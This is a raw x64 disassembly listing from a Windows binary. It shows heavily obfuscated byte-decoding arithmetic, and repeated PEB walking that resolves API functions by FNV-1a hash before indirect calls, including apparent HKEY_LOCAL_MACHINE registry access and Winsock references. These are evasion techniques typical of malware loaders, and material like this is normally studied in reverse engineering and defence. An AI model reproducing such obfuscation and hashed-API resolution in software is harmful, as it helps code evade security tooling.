jae 0x140159c33
movzx r8d, byte [rbp + r9 + 0x550]
mov rdx, r8
cmp rdi, r9
ja 0x140159c2a
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x1401590bc
movabs r11, 0xa56801fc54f0c73e
lea rcx, [r9 + r11]
mov rax, rdx
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rdx
add rbx, rcx
add bl, 0x4e
jmp 0x140159100
je 0x140159ba9
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140159b22
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140159af6
lea rax, [r10 + 4]
cmp rdi, rax
je 0x140159aab
lea rax, [r10 + 8]
cmp rdi, rax
je 0x140159a5b
movabs r11, 0xa56801fc54f0c73e
cmp r10, r9
ja 0x140159c21
lea rax, [r10 + 0x5a]
cmp rdi, rax
jae 0x140159135
movabs rdx, 0x918829b2f7c05816
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x33
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140159176
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140159a3a
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140159a17
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1401599f1
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401599cb
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401599a9
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x140159713
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1401596f2
lea rax, [r10 + 8]
cmp rdi, rax
je 0x1401596cc
lea rax, [r10 + 0x400]
cmp rdi, rax
je 0x1401596a9
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x140159688
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x140159666
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140159644
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x140159630
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x14015960e
lea rax, [r10 + 0x61]
cmp rdi, rax
je 0x1401595e8
lea rax, [r10 + 9]
cmp rdi, rax
je 0x140159183
lea rdi, [r10 + 5]
lea r10, [rdi + 0x20]
lea rax, [r10 + 9]
cmp rdi, rax
jb 0x140159bfe
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x140159bdb
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x140159384
lea rax, [r10 + 1]
cmp rdi, rax
jb 0x140159361
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x14015933b
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x14015958c
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x140159532
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x1401594e3
lea rax, [r10 + 0xa]
cmp rdi, rax
jb 0x1401594b8
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x140159183
lea rdi, [r10 + 0x3e8]
lea r10, [rdi + 0x64]
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x1401594a4
lea rax, [r10 + 0x5a]
cmp rdi, rax
ja 0x140159482
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x140159460
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x14015943a
lea rax, [r10 + 0x200]
cmp rdi, rax
ja 0x140159418
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x140159404
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x1401593e1
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x1401593be
lea rax, [r10 + 0x40]
cmp rdi, rax
ja 0x1401593aa
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x140159183
lea rdi, [r10 + 0x7a]
lea r10, [rdi + 3]
jmp 0x140159183
movabs rdx, 0xcf7914021ebc2eaa
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140159176
movabs rdx, 0x84a9100974daa02e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x42
add bl, dl
jmp 0x140159100
movabs rdx, 0x39d90c10caf911b2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140159084
movabs rdx, 0x8c414d97be02c0b0
mov ecx, Ordinal_27
jmp 0x140159a47
movabs rcx, 0x4171499f14213234
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6c
jmp 0x140159aa0
movabs rcx, 0xf6a145a66a3fa3b8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 8
jmp 0x140159aa3
movabs rdx, 0xabd141adc05e153c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
jmp 0x140159697
movabs rcx, 0x61013db5167c86c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r14b
jmp 0x140159af1
movabs rdx, 0x163139bc6c9af844
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140159b11
movabs rcx, 0xcb6135c3c2b969c8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x78
jmp 0x140159b43
movabs rcx, 0x809131cb18d7db4c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x140159b75
movabs rdx, 0x35c12dd26ef64cd0
mov ecx, Ordinal_41
jmp 0x140159882
movabs rcx, 0xfab923e4c642689a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x36
mov byte [rbp + r9 + 0x550], bl
jmp 0x140159bd3
movabs rdx, 0xafe91fec1c60da1e
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
cmp r10, 9
jb 0x1401594d6
movabs rcx, 0xe770ca89d7ef62b4
add rcx, r9
mov al, cl
and al, r8b
mov edx, 0xa
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea ebx, [rdx + rdx]
jmp 0x140159a78
movabs rdx, 0x65191bf3727f4ba2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6e
add bl, dl
cmp rdi, 0x1000
jae 0x140159950
lea rax, [r10 + 1]
cmp rdi, rax
jbe 0x140159899
movabs rcx, 0xfb50a2d3351fd1dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
jmp 0x140159504
movabs rcx, 0x1a4917fac89dbd26
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xa
lea rax, [r10 + rdi]
cmp rax, 0x80
je 0x14015997b
lea rax, [r10 + 0x40]
cmp rdi, rax
jbe 0x1401597de
movabs rcx, 0x69c879203d5f79c6
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6a
jmp 0x140159550
movabs rdx, 0x6930fa31ce821084
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140159bc4
movabs rcx, 0x1e60f63924a08208
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x38
jmp 0x140159b75
movabs rdx, 0xd390f2407abef38c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x14015977a
movabs rcx, 0x88c0ee47d0dd6510
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x140159b11
movabs rcx, 0x3df0ea4f26fbd694
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xc
jmp 0x140159af1
movabs rdx, 0xf320e6567d1a4818
mov ecx, Ordinal_46
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x140159971
movabs rcx, 0xa850e25dd338b99c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x44
jmp 0x140159aa3
movabs rdx, 0x5d80de6529572b20
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140159aa0
movabs rdx, 0x12b0da6c7f759ca4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7c
jmp 0x140159a57
lea rax, [r10 + 6]
cmp rdi, rax
jae 0x140159739
lea rdx, [r9 + r11]
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401595a9
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140159765
movabs rcx, 0x23105365ef80b02c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x34
jmp 0x140159bc4
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140159791
movabs rdx, 0xb8b05b574343cd24
mov ecx, esi
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140159b43
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401597bd
movabs rcx, 0x3805f4fed255ba0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x60
jmp 0x140159b11
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401595a9
movabs rdx, 0x4e5063489706ea1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x140159a00
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14015980d
movabs rdx, 0xb4987d18e7410842
mov ecx, Ordinal_27
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140159a78
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140159839
movabs rcx, 0xff688111912296be
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x32
jmp 0x140159aa0
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140159866
movabs rdx, 0x95088902e4e5b3b6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x140159ac7
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x140159550
movabs rdx, 0xb189cde364d7c22
mov ecx, 9
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140159bc4
jne 0x1401598be
movabs rcx, 0x4620a6cbdf016058
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x68
jmp 0x140159bc4
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401598e8
movabs rdx, 0xdbc0aebd32c47d50
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x30
jmp 0x14015978a
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140159905
movabs rdx, 0x2690b2b5dca60bcc
mov ecx, gethostname
jmp 0x1401599da
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14015992f
movabs rdx, 0xbc30baa7306928c4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5c
jmp 0x140159ac7
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x140159504
movabs rdx, 0x9ca0c6912e0dd438
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x1401597f6
movabs rdx, 0x3240ce8281d0f130
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov bl, byte [rbp + r9 + 0x550]
sub bl, al
sub bl, 0x50
add bl, dl
add bl, r8b
jmp 0x140159ac9
movabs rdx, 0x7d10d27b2bb27fac
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x550]
add bl, dl
add bl, r8b
jmp 0x140159b43
movabs rcx, 0x9d38457f9ceb3d7a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x56
jmp 0x140159b43
movabs rdx, 0x52684186f309aefe
mov ecx, 7
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140159b11
movabs rdx, 0x7983d8e49282082
mov ecx, reloc.WS2_32.dll_gethostname
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140159af1
movabs rdx, 0x71f8359cf565038a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140159aa3
movabs rdx, 0xdc582daba1a1e692
mov ecx, r15d
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140159a78
movabs rcx, 0x46b825ba4ddec99a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x36
movabs rdx, 0x8cd8cc862ce029f2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x550], cl
add r10, r15
sub r9, r15
jmp 0x140159bd3
movabs rdx, 0x664819d0503a1e26
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0xa
add bl, dl
movabs rcx, 0xd7a8d07ed6c1b86e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
add r8b, cl
add r8b, bl
sub r8b, sil
mov byte [rbp + r9 + 0x550], r8b
add rdi, r10
jmp 0x140159b11
movabs rcx, 0xd0a811defc77012e
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, 0x42
movzx eax, bl
mov rcx, r12
sub rcx, rax
add r9, rcx
jmp 0x140159bd3
mov r8, rdx
movabs rcx, 0x85d80de6529572b2
add rcx, r9
and dl, cl
mov eax, reloc.WS2_32.dll_recvfrom
sub al, dl
lea ebx, [rax + rax]
add bl, r8b
add bl, cl
movabs rdx, 0x2278d47780a346ea
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x66
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x550], al
add r10, r15
add rax, r10
sub r9, rax
movabs rcx, 0xc7e0d673d5940e28
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x18
add r8b, cl
mov byte [rbp + r9 + 0x550], r8b
add rdi, r15
mov rax, r12
sub rax, rdi
add r9, rax
jmp 0x140159bc4
movabs rcx, 0xf03805f4fed255ba
add rcx, r9
mov al, dl
and al, cl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, 0x16
movzx eax, byte [rbp + r9 + 0x550]
add rax, r10
add r9, rax
add r9, r15
jmp 0x140159071
movabs rcx, 0xef09081821178336
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x7a
jmp 0x14015906e
movabs rcx, 0xa439041f7735f4ba
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x16
jmp 0x14015905e
lea r12, [rbp + 0x145e2f8]
jmp 0x140159c3a
lea r12, [rbp + 0x136aa36]
jmp 0x140159c3a
lea r12, [rbp + 0x550]
mov r10, qword [0x1404fc178]
test r10, r10
jne 0x140159daa
mov esi, r13d
mov r14d, 0xeced0b92
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140159cb6
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140159ca9
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140159c9a
cmp edx, esi
jne 0x140159d88
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x140159d88
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x140159d88
mov edi, dword [r11 + 0x20]
dec r10d
lea rdx, [r9 + r10*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140159d0a
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140159cff
cmp edx, r14d
je 0x140159d20
test r10d, r10d
jne 0x140159cea
jmp 0x140159d88
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x140159d9d
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x140159d9d
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x140159d7b
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rcx
jmp 0x140159d57
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rcx
mov al, byte [r10]
test al, al
jne 0x140159d6e
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x140159d9a
cmp qword [rbx + 0x30], r13
jne 0x140159c6a
mov r10, r13
mov qword [0x1404fc178], r10
mov r15d, 1
mov qword [rsp + 0x40], r13
lea rax, [0x1404fba68]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
mov rdx, r12
mov rcx, 0xffffffff80000002
call r10
mov rdx, qword [0x1404fc118]
mov r12d, 8
test rdx, rdx
jne 0x140159f47
mov esi, r13d
mov r14d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
movups xmm0, xmmword [rcx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, r12w
mov word [rsp + 0x58], ax
test esi, esi
je 0x140159e60
mov rdx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r9, [rdx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140159e52
movsx eax, byte [rdx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rdx, 2
cmp rdx, r9
jne 0x140159e41
cmp r8d, esi
jne 0x140159f38
mov r10, qword [rcx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x140159f38
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x140159f38
mov edi, dword [r11 + 0x20]
dec ebx
lea r8, [rdi + rbx*4]
mov r9d, dword [r8 + r10]
add r9, r10
mov r8d, 0x811c9dc5
jmp 0x140159eb5
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
add r9, r15
test dl, dl
jne 0x140159ea8
cmp r8d, r14d
je 0x140159eca
test ebx, ebx
jne 0x140159e93
jmp 0x140159f38
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r10
cmp rdx, r11
jbe 0x140159f40
lea rcx, [r11 + rax]
cmp rdx, rcx
jae 0x140159f40
mov esi, 0x811c9dc5
mov r14d, esi
jmp 0x140159f09
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r15
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140159efb
jmp 0x140159f1e
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r15
mov al, byte [rdx]
test al, al
jne 0x140159f11
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x140159e10
mov qword [0x1404fc118], rdx
mov ecx, 0x99
call rdx
mov rbx, qword [0x1404fc158]
test rbx, rbx
jne 0x14015a0bf
mov esi, r13d
mov r14d, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, r12w
mov word [rsp + 0x58], ax
test esi, esi
je 0x140159fca
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140159fbd
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140159fae
cmp edx, esi
jne 0x14015a0a3
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14015a0a3
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14015a0a3
mov edi, dword [r10 + 0x20]
mov r12d, 1
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14015a024
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x14015a019
cmp edx, r14d
je 0x14015a03a
test r11d, r11d
jne 0x14015a004
jmp 0x14015a09d
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r9
cmp rbx, r10
jbe 0x14015a0b8
lea rcx, [r10 + rax]
cmp rbx, rcx
jae 0x14015a0b8
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14015a07c
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
cmp al, 0x2e
jne 0x14015a06e
jmp 0x14015a091
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
test al, al
jne 0x14015a084
mov rbx, qword [r15]
mov r12d, 8
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14015a0b5
cmp qword [rbx + 0x30], r13
jne 0x140159f7e
mov rbx, r13
mov qword [0x1404fc158], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x1404fc150]
test rdx, rdx
jne 0x14015a237
mov esi, r13d
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14015a148
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14015a13b
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14015a12c
cmp edx, esi
jne 0x14015a21b
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14015a21b
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14015a21b
mov edi, dword [r10 + 0x20]
mov r12d, 1
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14015a1a2
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x14015a197
cmp edx, r14d
je 0x14015a1b8
test r11d, r11d
jne 0x14015a182
jmp 0x14015a21b
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14015a230
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14015a230
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14015a1fa
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14015a1ec
jmp 0x14015a20f
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x14015a202
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14015a22d
cmp qword [rbx + 0x30], r13
jne 0x14015a0fc
mov rdx, r13
mov qword [0x1404fc150], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc148]
test rdx, rdx
jne 0x14015a3a6
mov esi, r13d
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14015a2b7
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14015a2aa
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14015a29b
cmp edx, esi
jne 0x14015a38a
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14015a38a
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14015a38a
mov edi, dword [r10 + 0x20]
mov r12d, 1
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14015a311
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x14015a306
cmp edx, r14d
je 0x14015a327
test r11d, r11d
jne 0x14015a2f1
jmp 0x14015a38a
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14015a39f
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14015a39f
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14015a369
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14015a35b
jmp 0x14015a37e
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x14015a371
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14015a39c
cmp qword [rbx + 0x30], r13
jne 0x14015a26b
mov rdx, r13
mov qword [0x1404fc148], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc140]
test rdx, rdx
jne 0x14015a515
mov esi, r13d
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14015a426
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14015a419
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
